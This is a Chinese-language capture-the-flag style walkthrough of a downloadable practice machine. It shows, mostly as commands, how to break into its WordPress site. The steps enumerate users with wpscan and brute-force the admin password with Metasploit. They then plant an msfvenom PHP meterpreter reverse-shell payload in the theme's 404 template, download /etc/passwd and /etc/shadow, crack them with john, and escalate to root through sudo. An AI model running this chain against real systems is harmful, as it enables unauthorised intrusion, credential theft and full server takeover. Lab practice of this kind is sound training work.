暴力破解漏洞实现原理
暴力破解的产生是由于服务器没有做限制,导致攻击者可以通过暴力的手段破解所需信息,如用户名、密码、验证码等。暴力破解需要一个庞大的字典,如4位数字的验证码,那么暴力破解的范围就是0000~9999,暴力破解的关键在于字典的大小。
靶机搭建
链接:https://pan.baidu.com/s/1Zw_huwIenjGTXUteftOuUw
提取码:vuq6
漏洞复现
- 使用netdiscover发现存活主机
netdiscover -i eth0
- 使用nmap,nikto进行信息探测
nmap -sV 192.168.101.48
nikto -host http://192.168.101.48
- 发现了secret这个敏感目录,登录该目录下尝试进入login后台失败
- 修改/etc/hosts文件,添加多一条域名解析记录就可成功访问
- 首先我们必须知道该网站都存在哪些用户名,我们这里使用wpscan来对该网站的用户名进行暴力破解
wpscan --url http://vtcsec/secret --enumerate u
- 破解到一个admin的账号
- 接下来我们的重头戏来了!使用msfconsole对其密码进行暴力穷举
msfconsole
use auxiliary/scanner/http/wordpress_login_enum
set rhosts 靶机IP
set username admin
set pass_file /usr/share/wordlists/dirb/common.txt
set targeturi /secret/
run
- 破解出用户名和密码均为admin
- 在利用handler模块进行监听反弹shell,也是在msf中进行
back
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 本机IP
run
- 登录后台后,找到editors目录下的404Template,使用生成的静荷替换404模板里的内容
msfvenom -p php/meterpreter/reverse_tcp lhost=本机IP lport=4444 -f raw
- 在URL中输入以下网址,即可反弹shell
http://靶机IP/secret/wp-content/themes/twentyseventeen/404.php
- 注:这里的twentyseventeen指的是这里的小写值
- shell反弹成功,但是发现只是一个普通的www-data账户,我们输入以下命令进入命令行界面
- 下载靶机的passwd和shadow散列值到kali本机的根目录下
download /etc/passwd
download /etc/shadow
- 在kali本机中进行john的暴力破解,破解到了一个用户名密码均为marlinspike
unshadow passwd shadow > cracked
john cracked
- 注:这里解释一下unshadow这个命令,这个命令是将密码文件和密码的散列值进行组装的一个命令,专门配合john命令来使用的
- 在msf中进行提权
shell
python -c "import pty;pty.spawn('/bin/bash')"
su - marlinspike
- 进入marlinspike账户后,查看该用户sudo能执行的权限,发现是root的所有执行权限,赚大发了!果断使用sudo bash命令提权